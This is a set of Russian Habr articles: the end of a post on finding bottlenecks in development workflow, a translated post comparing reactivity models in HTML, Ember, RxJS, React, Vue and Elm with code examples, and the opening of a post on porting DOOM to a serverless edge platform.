Ограничением для нашей системы служит наименее производительный этап — «Анализ завершён». Это же получается, что больше двух завершённых анализов нам в неделю-то и не уместить. Уж очень забавно, что ограничением системы для нас является отсутствие действия. Во всей разработке одной пользовательской истории этот этап занимает 29% или 2,68 дня. В чём может быть причина такой ситуации?
Фаза активной разработки не выглядит медленной, ей требуется меньше времени, чем стадии активного анализа, и это должно было бы привести к отсутствию очереди, но что-то идёт не так. Давайте включим в рассмотрение незавершённое производство. Кажется, что аналитический отдел может работать над бо́льшим количеством пользовательских историй в один момент времени.
Если уравновесить эту ситуацию и добавить больше людей в разработку, то это может помочь. Но спешить с решением не стоит, ведь причины долгого ожидания на этом этапе работ могут быть самые разные. Возможно и такое, что «Анализ завершён» включает в себя скрытую работу. Например, разработчики могу быть не удовлетворены качеством требований и в то же время не могут решить эту проблему системно. Чтобы как-то улучшить ситуацию разработчики самостоятельно прорабатывают проблемы требований, исследуют краевые условия, обсуждают удобную для пользователя обработку асинхронности и прочее.
Перед тем, как предлагать какое-то решение и действовать, стоит подумать. Подумать можно с помощью «[пяти почему](https://ru.wikipedia.org/wiki/%D0%9F%D1%8F%D1%82%D1%8C_%D0%BF%D0%BE%D1%87%D0%B5%D0%BC%D1%83)», «[диаграммы Исикавы](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D0%B0%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0_%D0%98%D1%81%D0%B8%D0%BA%D0%B0%D0%B2%D1%8B)» или других инструментов.
Проверяем успех внедрённого изменения
-------------------------------------
Предположим, что мы пришли к какому-то решению. Как проверить, что оно всё-таки сработало? Нам нужно снова накопить данные. Помните «Правило пяти»? Здесь его также можно использовать. Ведь наша система изменилась, давайте снова её померим.
Помимо этого правила я использую следующие инструменты:
1. Кумулятивную диаграмму потока (Cumulative Flow Diagram),
2. Линию тренда на диаграмме рассеяния времени цикла.
Часть кумулятивной диаграммы потока для демонстрационных данных инструмента ActionableAgileВидите голубой слой, второй сверху? Это тот самый этап завершённого анализа. При положительном влиянии изменения системы этот слой со временем сожмётся, а в лучшем случае и вовсе исчезнет.
Тренд 85% для демонстрационных данных инструмента ActionableAgileВидите эту зелёную пунктирную линию на уже знакомой нам диаграмме рассеяния? Она показывает тренд 85-го процентиля наших результатов за прошедшие N дней. В качестве N я предпочитаю использовать 30, так как тренд получается достаточно стабильным и меняется при действительно значительных изменениях. Если предложенное нами решение действительно устраняет проблему долгого простоя, то стоит ожидать, что эта линия «соскользнёт» на 30% к 11-ти дням. Если этого не происходит, то стоит искать другие решения.
Продолжаем улучшения
--------------------
Следующим достаточно очевидным шагом будет проработка этапа «Разработка завершена». Это такая же очередь, как и раньше, только покороче. Представим, что и с ней мы справились. В таком случае мы сокращаем среднее время разработки пользовательских историй до ≈ 4,7 дня. Читатель может справедливо заметить, что «вдвое больше за половину времени» предполагает сокращение времени разработки в четыре раза, и нам ещё есть над чем здесь поработать. В таком случае мы бы могли подумать об этапе «Анализ», затем попытаться сделать тестирование параллельным и так далее.
Всё же вот именно для этого случая я не уверен в том, что это необходимо. Представьте себе программное обеспечение, обрастающее новыми функциями дважды в неделю. Сам рынок может быть и не готов к таким скоростям, то есть ограничением будет уже скорость обучения пользователей, а не какой-то из этапов создания ПО.
Эта неожиданная остановка не означает, что мы так сильно ограничены в возможных улучшениях. Обычно система, создающая пользовательскую ценность, многослойна и фичи разрабатываются дольше девяти дней. Я видел доработки, продолжительность которых составляла шесть месяцев, и лишь 30% времени тратилось на что-то полезное. Если «приблизить» это полезное и рассмотреть его в деталях, то и там оказывалось, что лишь 30% времени происходило создание ценности. Получается, что из 180-ти дней лишь 16 дней происходила интересная пользователю работа. То есть в описываемой системе виден 11-тикратный потенциал для ускорения.
Подход коротко
--------------
Этапы подхода разбросаны по статье, сведём их вместе для удобства.
1. Выявите систему,
2. Определите её ограничение,
3. Устраняйте из него потери до тех пор, пока оно не перестанет быть ограничением,
4. Повторите.
Справедливые вопросы
--------------------
Я верю, что описываемый подход имеет высокий потенциал достичь того, что завещал нам менеджмент двадцатого века. При этом, описывая метод другим людям, я встречаю разные вопросы, и часто они бывают такие:
1. Не уничтожит ли это удовольствие от программирования?
2. Разработка ПО такая непредсказуемая и творческая! Как же можно здесь рассуждать об эффективности?!
Предложенный метод не уничтожит удовольствие от программирования. Вы могли заметить, что мы работали над тем, чтобы убрать из процесса промежутки, когда ничего не происходит. Возможность взять в работу только что описанную задачу также приятна, как и взять задачу двухдневной давности. Другое удовольствие состоит в том, что появляется понимание работы не только над информационной системой в виде кода, но и над собственной командой, тоже системой. И тут открывается и обосновывается целый мир ранее недоступных инструментов и подходов.
Зачем ранее нам бы требовались инструменты для синхронной совместной работы распределённых команд? Чтобы стать быстрее? А почему мы уверены, что мы становимся быстрее с ними? О, кстати, а в нашей команде багов прорва, разработчики всё время их правят, и поэтому 30% времени пользовательские истории просто ждут. Почему бы нам не заняться ранним обнаружением и предотвращением багов, подключая QA-инженеров на этап создания требований?
Что уничтожает удовольствие от программирования, так это необходимость регулярно [срезать с себя плоть](https://www.livelib.ru/quote/42323501-scrum-revolyutsionnyj-metod-upravleniya-proektami-dzheff-sazerlend) для выполнения задач. Прибавление к арсеналу лучших методов, инструментов и знаний не уничтожает удовольствие.
Да, разработка программного обеспечения действительно достаточно творческая и не рутинная деятельность. Но действительно ли она абсолютно случайна? Достаточно ли вам года, чтобы выполнить произвольную задачку из вашего бэклога? Что насчёт десяти лет? Такая ли ускользающая природа вариабельности в нашей области, что с ней вообще ничего нельзя поделать? Сам факт существования диаграммы рассеяния подсказывает, что у вариабельности в нашей области есть пределы. Да, процесс может быть достаточно хаотичным, но тогда в первую очередь нужно работать над его статистической управляемостью, что тоже возможно. Подробнее об этом стоит почитать в уже упомянутой книге «Понимание вариабельности как ключ к устранению организационного хаоса».
Вы можете сказать, что некоторые задачи требуют лишь изменения константы, а некоторые требуют продолжительного исследования. Здесь я выйду со встречными вопросами. Само существование таких задача является неизбежным следствием природы программного обеспечения или же результатом выбранной для этого конкретного программного продукта архитектуры? Не является ли здесь причиной [здоровенный ком грязи](https://habr.com/ru/post/351686/) в процессах?
Потребность в более гладком потоке разработки, в его большей предсказуемости может быть тем самым мостом, выводящим технический, архитектурный, процессуальный, документальный и прочие долги из извиняющегося в полноправное состояние.
Да, даже в самой открытой к изменениям архитектуре будут время от времени появляться сложные вопросы, требующие больше времени, чем нам хотелось бы. Для таких исключений на диаграмме рассеяния есть область выше 95-го процентиля. Но на то они и исключения, и совсем не хочется, чтобы всякая доработка в системе становилась исключением.
Избегаем очевидных и неправильных шагов
---------------------------------------
Я не первый человек, изучающий вопросы эффективности в нашей деятельности. Некоторые из ищущих уже и не считают себя таковыми, уже думают, что всё нашли. Их подход состоит в том, чтобы установить на компьютер программное обеспечение для слежки и наказывать тех, кто занимается чем-то, не похожим в глазах смотрящего на работу. Этот метод показывает полнейшее непонимание источников эффективности в нашей индустрии.
Идея большого успеха, являющегося следствием неимоверных усилий, трудового подвига, не только сомнительна, но и смертельна. Думаю, многие из вас видели выгоревших коллег. Даже целые страны попадали под влияние этой идеи, но сопровождалось это уже человеческим жертвами. Тяжёлый труд — это не дорога непрерывного совершенствования, дающая пятидесятикратный рост производительности. Но что есть эта дорога?
Ищем систему для первого улучшения
----------------------------------
Почти полтора века назад Фредерик Тейлор (Frederick Taylor) начал свои работы в том, что сейчас мы знаем как научный менеджмент или научную организацию труда. Он начал с того, что смотрел на работу своих коллег и искал более эффективные способы её выполнять:
> Тейлор решил выяснить с помощью научных методов, сколько времени нужно людям для выполнения различных этапов их работы. Осенью 1882-го года он начал вводить в действие первые элементы научной организации труда.
>
>
Я не знаю структуру бизнеса, в которой работал Тейлор. Вполне возможно, что шаг, улучшением которого он занимался, был лишь одним из многих, и тогда Тейлор попался в ловушку локальной оптимизации. Это та ловушка, когда команда кровельщиков из примера этой статьи улучшает свою производительность. Даже если такая досада и имела место, ни в коем случае не стоит преуменьшать влияние открытия Тейлора. Сейчас, тем не менее, мы можем действовать умнее.
Помните пример с доработками продолжительностью шесть месяцев или 180 дней? Если мы начнём с малых улучшений, близких к программистам, а оттуда обычно и начинают, то у нас есть возможность сэкономить 38 и ускориться до 142-х дней. Если мы начнём с более высокого уровня, на котором работают команды, то сэкономить можно уже 126 дней на одну доработку. Тогда для того, чтобы сформировать необходимый объём пользовательской ценности, потребуется уже 54 дня.
Попытки выжать из разработчиков всё с помощью переработок, кроватей в офисах и похожих практик не имеют смысла, если вы нацелены на крупные победы в вопросах эффективности. Начните с осмотра системы, создающей ценность, с высоты птичьего полёта и углубляйтесь только когда улучшения на этом уровне уже исчерпаны. | https://habr.com/ru/post/711930/ | null | ru | null |
# Что делает реактивную систему хорошей?
Этот пост является вторым в серии статей об *авто-трекинге* — новой системе реактивности в Ember.js. Я также обсуждаю концепцию реактивности в целом, и как она проявляется в JavaScript.
> *От переводчика: Крис Гарретт — работает в компании LinkedIn и является одним из core-контрибьюторов js-фреймворка Ember. Он принимал активное участие в создании нового издания фреймворка — [Ember Octane](https://habr.com/ru/post/482158/). Одним из краеугольных камней этой редакции является новая система реактивности на основе автоматического отслеживания (autotracking). Несмотря на то, что его серия написана для Ember-разработчиков в ней затрагиваются концепции, которые полезно знать всем веб-программистам.*
>
>
>
>
1. [Что такое реактивность?](https://habr.com/ru/post/488530/)
2. Что делает реактивную систему хорошей? ← Этот пост
3. Как работает автотрекинг
4. Кейс для автотрекинга — TrackedMap
5. Кейс для автотрекинга — @localCopy
6. Кейс для автотрекинга — RemoteData
7. Кейс для автотрекинга — effect()
В предыдущем сообщении в блоге мы обсуждали, что означает *реактивность* системы. Определение, которое я вывел для этой серии:
> *Реакционная способность: **декларативная** программная модель, которая автоматически обновляется в соответствии с изменениями **состояния**.*
Я немного подправил его с прошлого раза, чтобы определение читалось лучше, но фактически текст такой же. В этом посте я расскажу о другом общем аспекте реактивности: что делает хорошую реактивную систему хорошей?
Вместо того, чтобы пытаться определить это теоретически, я начну с рассмотрения реактивности некоторых других языков и структур. Из этих тематических исследований я постараюсь извлечь несколько принципов хорошего реактивного проектирования. Это, как я думаю, поможет сохранить основы и продемонстрирует различные способы достижения одной и той же фундаментальной цели. Как я уже говорил в первом посте этой серии, есть *много* разных способов сделать реактивность, каждый со своими плюсами и минусами.
Я также хочу сразу сказать, что не являюсь экспертом во всех технологиях, которые мы рассмотрим. Мое понимание их в основном основано на исследованиях, которые я проводил во время моей работы надо автотрекингом, чтобы лучше понять реактивность в целом. Так что я могу ошибаться в некоторых вещах и пропустить некоторые детали! Пожалуйста, дайте мне знать, если вы видите что-то немного некорректное (или полностью неправильное).
HTML
====
В [последнем посте](https://habr.com/ru/post/488530/) я использовал HTML как пример *полностью* декларативного языка. Прежде чем мы углубимся в некоторые фреймворки, я хотел бы немного подробнее остановиться на этом, а также обсудить встроенную в язык модель реактивности. HTML (наряду с CSS) на самом деле реагирует сам по себе, без какого-либо JavaScript!
Во-первых, что делает HTML декларативным? И почему так хорошо быть декларативным языком? Давайте рассмотрим пример HTML для страницы входа в систему:
```
Email:
Password:
Log in
```
В этом примере описывается структура формы для браузера. Затем браузер берет ее и предоставляет полностью функциональную форму непосредственно пользователю. Никаких дополнительных шагов настройки не требуется — нам не нужно сообщать браузеру, в каком порядке добавлять элементы, или добавлять обработчик для кнопки для отправки формы или какую-либо дополнительную логику. Мы говорим браузеру, как должна выглядеть форма входа, а не как ее отображать.
В этом смысл декларативного программирования: мы описываем, *какой* вывод мы хотим, а не то, *как* мы этого хотим. HTML хорош для того, чтобы быть декларативным, в частности, потому что он очень ограничен — мы на самом деле не можем добавить никаких дополнительных шагов к рендерингу без добавления другого языка (JavaScript). Но если это так, как HTML может быть реактивным? Реакционная способность требует состояния и изменения состояния, а как HTML может изменяться?
Ответ через интерактивные элементы HTML, такие как `input` и `select`. Браузер автоматически связывает их, чтобы они были интерактивными, и обновляет их собственное состояние, изменяя значения их атрибутов. Мы можем использовать эту возможность для создания различных компонентов, например, выпадающего меню.
```
input[type='checkbox'] + ul {
display: none;
}
input[type='checkbox']:checked + ul {
display: inherit;
}
* Dropdown
+ Item 1
+ Item 2
```
Мой любимый пример этих возможностей — это превосходная презентация Эстель Вейл [«Знаете ли вы, CSS»](https://github.com/estelle/doyouknowcss). См. `./index.html` для слайд-шоу на чистом HTML / CSS с некоторыми потрясающими примерами нативных функций платформы.
В этой модели реактивности каждое взаимодействие с пользователем отображается непосредственно на изменение в HTML (например, checked атрибут переключается на флажки). Затем этот измененный HTML-код отображается точно так же, как если бы это было начальное состояние. Это важный аспект любой декларативной системы, и первый принцип реактивности, который мы выделим:
> *1. Для данного состояния, независимо от того, как вы достигли этого состояния, вывод системы всегда одинаков*
Независимо от того, попали мы на страницу с уже установленным флажком или обновили ее самостоятельно, HTML-код будет отображаться в браузере одинаково. Он не будет выглядеть по-другому после того, как мы установили флажок 10 раз, и не будет выглядеть иначе, если мы запустили страницу в другом состоянии.
Такая модель реактивности отлично подходит для простых случаев. Однако для многих приложений в какой-то момент ее становится недостаточно. Это момент, когда JS вступает в игру.
Реактивность по методу push
===========================
Одним из наиболее фундаментальных типов реактивности является реактивность *push*. Такая реактивность распространяет изменения в состоянии, когда эти изменения происходят, обычно используя *события*. Эта модель будет знакома всем, кто много писал на JavaScript, поскольку события это один из самых важных элементов браузера.
Однако сами по себе события не очень декларативны. Они зависят от каждого уровня, вручную распространяющего изменения, а это означает, что есть много маленьких, императивных шагов, где что-то может пойти не так. Например, рассмотрим этот пользовательский веб-компонент :
```
customElements.define('edit-word',
class extends HTMLElement {
constructor() {
super();
const shadowRoot = this.attachShadow({mode: 'open'});
this.form = document.createElement('form');
this.input = document.createElement('input');
this.span = document.createElement('span');
shadowRoot.appendChild(this.form);
shadowRoot.appendChild(this.span);
this.isEditing = false;
this.input.value = this.textContent;
this.form.appendChild(this.input);
this.addEventListener('click', () => {
this.isEditing = true;
this.updateDisplay();
});
this.form.addEventListener('submit', e => {
this.isEditing = false;
this.updateDisplay();
e.preventDefault();
});
this.input.addEventListener('blur', () => {
this.isEditing = false;
this.updateDisplay();
});
this.updateDisplay()
}
updateDisplay() {
if (this.isEditing) {
this.span.style.display = 'none';
this.form.style.display = 'inline-block';
this.input.focus();
this.input.setSelectionRange(0, this.input.value.length)
} else {
this.span.style.display = 'inline-block';
this.form.style.display = 'none';
this.span.textContent = this.input.value;
this.input.style.width = this.span.clientWidth + 'px';
}
}
}
);
```
Этот веб-компонент позволяет пользователю кликать на текст, чтобы редактировать его. При нажатии он переключает состояние `isEditing`, а затем запускает метод `updateDisplay` чтобы скрыть `span` и показать элемент `form` для редактирования. Когда форма подтверждается или уходит фокус, состояние переключается обратно. И что важно, каждый обработчик событий должен *вручную* вызывать `updateDisplay` для распространения этого изменения.
Логически, состояние элементов пользовательского интерфейса является *производным состоянием*, а переменная `isEditing` является *корневым состоянием*. Но поскольку события позволяют только запускать императивные команды, мы должны *вручную* синхронизировать производное состояние. Это подводит нас к нашему второму общему принципу хорошей реактивности:
> *2. Чтение состояния в системе приводит к реактивному производному состоянию*
В идеальной реактивной системе *использование* состояния `isEditing` автоматически приведет к тому, что система обеспечит нужные изменения. Это можно сделать разными способами, как мы увидим совсем скоро, но главное — это чтобы наша реактивность всегда обновляла все производные состояния.
Стандартные события не дают нам этого свойства сами по себе, но есть реактивные системы, которые это делают.
Классический Ember
==================
Под капотом Ember Classic в сильной степени следовал принципу push. Наблюдатели (observers) и слушатели событий (evert listeners) были примитивами, на которых была построена система, и у них были те же проблемы, что и во встроенной в браузер событийной модели. С другой стороны, система биндинга (binding), которая в конечном итоге стала системой цепочки зависимостей (dependency chaining), была более декларативной.
Мы можем увидеть эту систему в действии на классическом примере `fullName`:
```
import { computed, set } from '@ember/object';
class Person {
firstName = 'Liz';
lastName = 'Hewell';
@computed('firstName', 'lastName')
get fullName() {
return `${this.firstName} ${this.lastName}`;
}
}
let liz = new Person();
console.log(liz.fullName); 'Liz Hewell';
set(liz, 'firstName', 'Elizabeth');
console.log(liz.fullName); 'Elizabeth Hewell';
```
Под капотом в Classic Ember эта система работала через уведомления о свойствах. Всякий раз, когда мы впервые использовали вычисляемое свойство, шаблон или наблюдателя, Ember настраивал цепочки на все свои зависимости. Затем, когда мы обновляли свойство с помощью `set()`, цепочка уведомляла зависимости.
Конечно, наблюдатели (observers) сработают сразу же, но вычисленные свойства (computed) и шаблоны (templates) будут обновляться *только при использовании*. Это то, что сделало их намного лучше наблюдателей, они выполнили второй принцип реактивности, который мы только что определили. Производное состояние (вычисленные свойства и шаблоны) стало реактивным при использовании автоматически.
Это было в сердце реакционной способности Ember в течение очень долгого времени, и оно вытеснило большую часть экосистемы, так что наблюдатели вышли из общего пользования. Но в этой системе были и слабости. В частности, это была очень *объектно-ориентированная система*. По сути, для определения цепочек зависимостей требовалось определить объекты и классы, подталкивая разработчиков в этом направлении. Объектно-ориентированное программирование (ООП) — неплохая вещь, но оно может быть ограничительным, если это единственно доступная модель программирования.
Кроме того, хотя вычисленные свойства были в среднем лучше в плане производительности, чем наблюдатели и слушатели событий, но цепочки зависимостей и уведомления о событиях все еще были дорогостоящими. Настройка системы зависимостей должна была выполняться при запуске, и каждое изменение свойства вызывало события, пробегающее по всей системе. Хотя это было неплохо, но жизнь показала, что можно сделать лучше.
Observables, Streams и Rx.js
============================
Другой подход к модели на основе push, которая делает вещи более декларативными, — это модель Observable. Он был популяризирован в JavaScript библиотекой [RxJS](https://rxjs-dev.firebaseapp.com/) и используется Angular в качестве основы для его реактивности.
Эта модель организует события в потоки, которые похожи на ленивый массив событий. Каждый раз, когда вы помещаете событие в один конец потока, оно будет проходить через различные преобразования, пока не достигнет подписчиков на другом конце.
```
// Чистый JS
let count = 0;
document.addEventListener(
'click',
() => console.log(`Clicked ${++count} times`)
);
```
```
// Используя потоки (Streams)
import { fromEvent } from 'rxjs';
import { scan } from 'rxjs/operators';
fromEvent(document, 'click')
.pipe(scan(count => count + 1, 0))
.subscribe(count => console.log(`Clicked ${count} times`));
```
На первый взгляд это может показаться похожим на наблюдателей в Ember, но имеется ключевое отличие — в потоки передаются значения, которые они наблюдают напрямую и возвращают новые значения на их основе. Это означает, что они удовлетворяют второму принципу хорошей реакционной способности, поскольку производное состояние является *обязательно* реактивным.
Недостатком потоков является то, что они по умолчанию всегда выполняются. Всякий раз, когда событие запускается с одного конца, оно немедленно запускает все преобразования, которые наблюдают за этим потоком. По умолчанию, мы можем проделывать большую работу для каждого изменения состояния.
Существуют методы для снижения этой стоимости, такие как дебаунсинг (debounce), но они требуют, чтобы программист внимательно думал о состоянии потока. И это подводит нас к нашему третьему принципу:
> *3. Система по умолчанию минимизирует лишнюю работу*
Если мы обновим два значения в ответ на одно событие, мы не должны пересчитывать дважды. Если мы обновляем зависимость вычисляемого свойства, но никогда не используем это свойство, нам не следует с нетерпением перезапускать код его вычисления. В общем, если мы можем избежать работы, мы должны избегать, и хорошая реактивность должна быть разработана, чтобы помочь нам сделать это.
К сожалению, реактивность, основанная на push, может в этом отношении не слишком далеко нас продвинуть. Даже если мы будем использовать ленивые (lazy) вычисления, таких как, например, вычисляемые свойства Ember Classic, мы все равно будем выполнять большую работу для каждого изменения. Это связано с тем, что по своей сути системы, основанные на push, предназначены для распространения изменений, *когда они происходят*.
На другом конце спектра есть реактивные системы, которые распространяют изменения, когда *обновляется сама система*. Это *реактивность на основе pull*.
Реактивность на основе pull
===========================
Мне кажется, что самый простой способ объяснить реактивность, основанную на pull, — это следующий мысленный эксперимент. Допустим, у нас был невероятно быстрый компьютер, который мог отображать наше приложение практически мгновенно. Вместо того, чтобы пытаться синхронизировать все вручную, мы можем перерисовывать все приложение каждый раз, когда что-то меняется, и начинать заново. Нам не нужно было бы беспокоиться о распространении изменений через приложение, когда они произошли, потому что эти изменения отобразятся, когда мы перерисовываем все.
Так, с некоторыми упрощениями, работают модели на основе pull. И, конечно же, возможным недостатком здесь является производительность. У нас нет бесконечно мощных компьютеров, и мы не можем перерисовывать целые приложения для каждого изменения на ноутбуках и смартфонах.
Чтобы обойти это, у каждой модели реактивности на основе pull есть свои хитрости, позволяющие снизить стоимость обновления. Например, «Virtual DOM».
React и VirtualDOM
==================
Virtual DOM, вероятно, является одной из самых известных функций React.js и была одним из ключей к его успеху. Концепция предполагает, что добавление HTML в браузер является самой дорогой частью. Вместо того, чтобы делать это напрямую, приложение создает модель, которая *представляет* HTML, а React переводит части, которые изменились, в *настоящий* HTML.
При первоначальном рендеринге все заканчивается отрисовкой HTML-кода. Но при повторном рендеринге обновляются только те части, которые *были изменены*. Это минимизирует одну из самых дорогих частей веб-приложения.
Второй способ, которым оптимизируется модель реактивности React, заключается в повторном запуске только той части, в которой что-то *точно* изменилось. Это частично то, о чем `setState` API (и сеттер в хуке `useState` ).
```
class Toggle extends React.Component {
state = { isToggleOn: true };
handleClick = () => {
this.setState(state => ({
isToggleOn: !state.isToggleOn
}));
}
render() {
return (
{this.state.isToggleOn ? 'ON' : 'OFF'}
);
}
}
```
Когда пользователь изменяет состояние в компоненте, только этот компонент (и его подкомпоненты) перерисовываются во время следующего прохода.
Один интересный выбор, который был сделан для поддержания цельности (consistency), заключается в том, что `setState` и `useState` не обновляются немедленно после вызова. Вместо этого они ждут для обновления *следующего* рендера, так как логически новое состояние является новыми входными данными для приложения (и требует повторного рендеринга). Для многих пользователей это контр-интуитивно пока они не изучат React лучше, но это подводит нас к нашему последнему принципу хорошей реактивности:
> *4. Система предотвращает противоречивое производное состояние*
React занимает здесь решительную позицию именно потому, что он *не может знать*, использовали ли вы уже состояние в другом месте. Представьте себе, если бы в компоненте React мы могли изменить состояние в середине рендера:
```
class Example extends React.Component {
state = {
value: 123;
};
render() {
let part1 = {this.state.value}
this.setState({ value: 456 });
let part2 = {this.state.value}
return (
{part1}
{part2}
);
}
}
```
Если бы изменение состояния было применено немедленно, это привело бы к тому, что `part1` шаблона компонента будет видеть состояние до изменения, а `part2` увидит его после. Хотя иногда это может быть тем поведением, которое хочет пользователь, часто это происходит из-за более глубоких несоответствий, которые приводят к ошибкам. Например, вы можете отображать электронную почту пользователя в одной части приложения, только чтобы обновить ее и отрисовать совершенно другую электронную почту в другой части. React превентивно предотвращает появление этого несоответствия, но требует от разработчика более высоких когнитивных затрат.
В целом, двусторонний подход React к реактивности довольно эффективен до определенного момента, но также имеет свои ограничения. Вот почему существуют такие API, как `shouldComponentUpdate()` и `useMemo()`, поскольку они позволяют пользователям React вручную оптимизировать свои приложения.
Эти API работают, но они также перемещают систему в целом к менее декларативному подходу. Если пользователи вручную добавляют код для оптимизации своих приложений, у них есть много возможностей ошибиться.
Vue: гибридный подход
=====================
Vue также является фреймворком на основе Virtual DOM, но он использует дополнительную хитрость. Vue включает свойство реактивных `data` в каждый компонент:
```
const vm = new Vue({
data: {
a: 1
}
});
```
Это свойство используется Vue как замена `setState` или `useState` (по крайней мере, для текущего API), и в этом их особенность. На значения объекта `data` *подписываются*, когда к ним обращаются, и запускают события для этих подписок при обновлении. Под капотом это делается с помощью observables.
Например, в этом примере компонента:
```
const vm = new Vue({
el: '#example',
data: {
message: 'Hello'
},
computed: {
reversedMessage() {
return this.message.split('').reverse().join('')
}
}
})
```
Свойство `reversedMessage` будет автоматически подписываться на изменения `message` при его запуске, и любые будущие изменения свойства `message` будут обновлять его.
Этот гибридный подход позволяет Vue быть более производительным по умолчанию, чем React, поскольку различные вычисления могут автоматически кэшироваться. Это также означает, что мемоизация (memoization) сама по себе является более декларативной, поскольку пользователям не нужно добавлять какие-либо шаги вручную, чтобы указать на необходимость обновления. Но под капотом подход основан на методе push, и поэтому имеет дополнительные расходы, связанные с данным видом реактивности.
Elm
===
Последняя модель реактивности, которую я хочу обсудить в этом посте, на самом деле не является моделью на основе JavaScript. Для меня, однако, концептуально она наиболее похожа на автоматическое отслеживание (autotracking) по ряду причин, в частности, из-за простоты.
[Elm](https://elm-lang.org/) — это язык программирования, который за последние несколько лет произвел сенсацию в сообществе функционального программирования. Это язык, разработанный с учетом реактивности и созданный специально для браузера (он компилируется в HTML + JS). Это также *чисто* функциональный язык, поскольку он вообще не допускает какого-либо императивного кода.
Таким образом, Elm следует чисто-функциональной модели реактивности, которую я обсуждал в своем [последнем посте](https://habr.com/ru/post/488530/). Все состояния в приложении полностью экстернализуются, и при каждом изменении Elm перезапускает функцию приложения для получения нового вывода.
Из-за этого Elm может использовать технику кеширования, известную как *[мемоизация](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%BC%D0%BE%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F)* (memoization). Функция приложения по мере выполнения разбивает модель на более мелкие фрагменты для каждой подфункции, которые по сути являются компонентами. Если аргументы этой функции/компонента не изменились, то вместо пересчитывания используется последний результат.
```
// начальный уровень мемоизации в JS
let lastArgs;
let lastResult;
function memoizedRender(...args) {
if (deepEqual(lastArgs, args)) {
// Args
return lastResult;
}
lastResult = render(...args);
lastArgs = args;
return lastResult;
}
```
Поскольку функция «чистая» и переданные ей аргументы одинаковы, нет никаких шансов что результат изменится, поэтому Elm может полностью ее пропустить.
Это огромное подспорье для производительности. Ненужная работа сведена к минимуму, поскольку код для создания нового HTML даже не выполняется, в отличие от React / Vue / других платформ на основе Virtual DOM.
Суть в том, что для того, чтобы извлечь из этого пользу, вам нужно выучить новый язык. И хотя есть много потенциальных плюсов в изучении Elm, и это прекрасный язык, не всегда практично переключаться на что-то менее известное и широко используемое.
Аналогично, попытки привнести чисто функциональный подход Elm в JavaScript обычно имеют разную степень успеха. JavaScript, к лучшему или худшему, является мультипарадигменным языком. Модель экстернализации всего состояния имеет свои проблемы, от концептуальных накладных расходов до проблем с масштабированием. Redux — это библиотека, построенная вокруг этой концепции, но даже апологеты этого сообщества [не всегда рекомендуют ее по этим причинам](https://medium.com/@dan_abramov/you-might-not-need-redux-be46360cf367).
Что мы действительно хотим, так это преимущества запоминания, но с возможностью сохранять наше состояние внутри функции приложения — в компонентах, рядом с местами, где это состояние используется. И мы хотим выполнить все другие принципы, которые мы обсуждали.
Но это тема для следующего поста!
Выводы
======
Итак, в этом посте мы рассмотрели ряд различных моделей реактивности, в том числе:
* HTML / CSS
* Реактивность на основе push
* Чистый JavaScript
— Классический Ember
— Observables / Rx.js
* Реактивность на основе pull
— React.js
— Vue.js
— Elm
Мы также извлекли несколько общих принципов проектирования хорошей реактивной системы:
1. Для данного состояния, независимо от того, как вы достигли этого состояния, вывод системы всегда одинаков
2. Чтение состояния в системе приводит к реактивному производному состоянию
3. Система по умолчанию минимизирует лишнюю работу
4. Система предотвращает противоречивое производное состояние
Я не утверждаю, что этот список является исчерпывающим, но он охватывает многое из того, что делает реактивные системы надежными и пригодными для использования. В следующем посте мы углубимся в автотрекинг и узнаем, как он реализует эти принципы. | https://habr.com/ru/post/489530/ | null | ru | null |
# Портируем DOOM на serverless-платформу
Благодаря своей открытой кодовой базе и чистым абстракциям [DOOM](https://en.wikipedia.org/wiki/Doom_(1993_video_game)) компании id Software стал одной из самых портируемых в истории игр. Мне показалось, что это идеальный проект для портирования на платформу Compute@Edge, созданную в нашей вычислительной serverless-среде, для экспериментов с различными способами применения нашего продукта.
Демонстрация интерактивной работы DOOM на Compute@Edge позволила бы расширить границы производительности продукта и показать его удивительные возможности. В этой статье я расскажу, как мы этого добились.
### Краткая история DOOM
DOOM — это игра, разработанная в 1993 году id software и выпущенная в декабре того же года. Id software зарабатывала на жизнь разработкой высококачественных 2D-игр, но создав в 1992 году Wolfenstein, а в следующем году DOOM, компания совершила исторический шаг в 3D, воспользовавшись быстрым прогрессом PC для расширения границ отрасли.
Исходники DOOM были открыты в 1997 году, в файле README было написано «Портируйте его на свою любимую операционную систему». Многие фанаты игры так и поступили — DOOM портировали на сотни систем, от самых очевидных до самых неизвестных. Будучи фанатом DOOM, я захотел проверить потенциал Compute@Edge, поэтому портировал эту культовую игру на платформу.
Примечание: [Game Engine Black Book](https://fabiensanglard.net/gebbdoom/) Фабьена Санглара — потрясающий ресурс, к которому я часто обращался в процессе работы над проектом. Эта и другая его книга о [Wolfenstein](https://fabiensanglard.net/gebbwolf3d/) являются подробным анализом ключевых моментов истории разработки видеоигр, к тому же очень увлекательны и познавательны.
### Портирование
При портировании DOOM я решил использовать двухэтапный процесс:
1. Добиться компиляции и запуска платформонезависимого кода (т.е. кода, не использующего никаких системных вызовов или SDK какой-то конкретной архитектуры/платформы). Это основная часть того, что большинство людей считает «геймплеем» игры.
2. Заменить платформозависимые вызовы API в соответствии с целевой платформой. Это код, который в основном занимается вводом-выводом, в том числе рендерингом и звуком.
Официального открытого интерфейса для привязок C не существует, поэтому для экспериментов нам понадобится получить API C из крейта fastly-sys.
### Общий код
Запуск DOOM без рендеринга и звука на Compute@Edge был достаточно простой задачей. В кодовой базе каждое имя функции имеет префиксы, и все специфические для реализации функции имеют префикс «I\_», поэтому было довольно легко пройтись по кодовой базе и удалить их из компиляции. Закончив с этим, я использовал [wasi-sdk](https://github.com/WebAssembly/wasi-sdk) чтобы сделать целевым двоичный файл Wasm. WebAssembly спроектирован так, чтобы без особых проблем компилировать нативный код, поэтому это изменение было очень простым.
Мне нужно было внести изменения в двоичный файл WebAssembly, потому что DOOM разрабатывался во времена 32-битных вычислений. В коде есть места, где предполагается, что указатели имеют размер 4 байта, что на тот момент было вполне разумным выбором. Данные в DOOM загружаются из файла, содержащего все ресурсы, созданные командой разработки и объединённые в один файл в момент релиза. Эти данные загружаются непосредственно в память, и сопоставляются с представляющей их внутриигровой структурой C. Если в этих структурах задействуются указатели, то загрузка данных в 64-битной среде приведёт к неправильному наложению данных на структуру и к неожиданному поведению. Эти проблемы выявить было довольно легко, и первоначально они приводили к достаточно очевидным сбоям.
